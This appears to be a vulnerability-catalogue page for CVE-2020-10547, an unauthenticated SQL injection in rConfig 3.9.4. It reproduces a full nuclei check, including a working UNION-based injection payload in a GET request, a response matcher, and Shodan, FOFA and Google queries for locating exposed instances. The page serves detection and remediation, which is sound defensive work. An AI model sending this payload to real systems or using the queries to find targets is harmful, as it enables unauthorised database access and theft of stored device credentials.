Browse / CVEs / CVE-2020-10547
CVE-2020-10547· rconfig / rconfig· CWE-89
rConfig 3.9.4 - SQL Injection
rConfig 3.9.4 and previous versions has unauthenticated compliancepolicyelements.inc.php SQL injection. Because nodes' passwords are stored by default in cleartext, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.
Impact
Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
Fix
Upgrade to the latest version of rConfig or apply the provided patch to fix the SQL Injection vulnerability.
How to confirm it
Send: GET {{BaseURL}}/compliancepolicyelements.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f76…
Positive when: contains "[project-discovery]" AND status 200Run it with nuclei: nuclei -id CVE-2020-10547 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2020-10547
info:
name: rConfig 3.9.4 - SQL Injection
author: madrobot
severity: critical
description: rConfig 3.9.4 and previous versions has unauthenticated compliancepolicyelements.inc.php SQL injection. Because nodes' passwords are stored by default in cleartext, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.
impact: |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
remediation: |
Upgrade to the latest version of rConfig or apply the provided patch to fix the SQL Injection vulnerability.
reference:
- https://github.com/theguly/exploits/blob/master/CVE-2020-10547.py
- https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/
- https://github.com/theguly/exploits
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-10547
cwe-id: CWE-89
epss-score: 0.36563
epss-percentile: 0.98509
cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: rconfig
product: rconfig
shodan-query: http.title:"rconfig"
fofa-query: title="rconfig"
google-query: intitle:"rconfig"
tags: cve,cve2020,rconfig,sqli,vuln
http:
- method: GET
path:
- "{{BaseURL}}/compliancepolicyelements.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL+--+&searchColumn=elementName&searchOption=contains"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "[project-discovery]"
- type: status
status:
- 200References
- https://github.com/theguly/exploits/blob/master/CVE-2020-10547.py
- https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/
- https://github.com/theguly/exploits
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from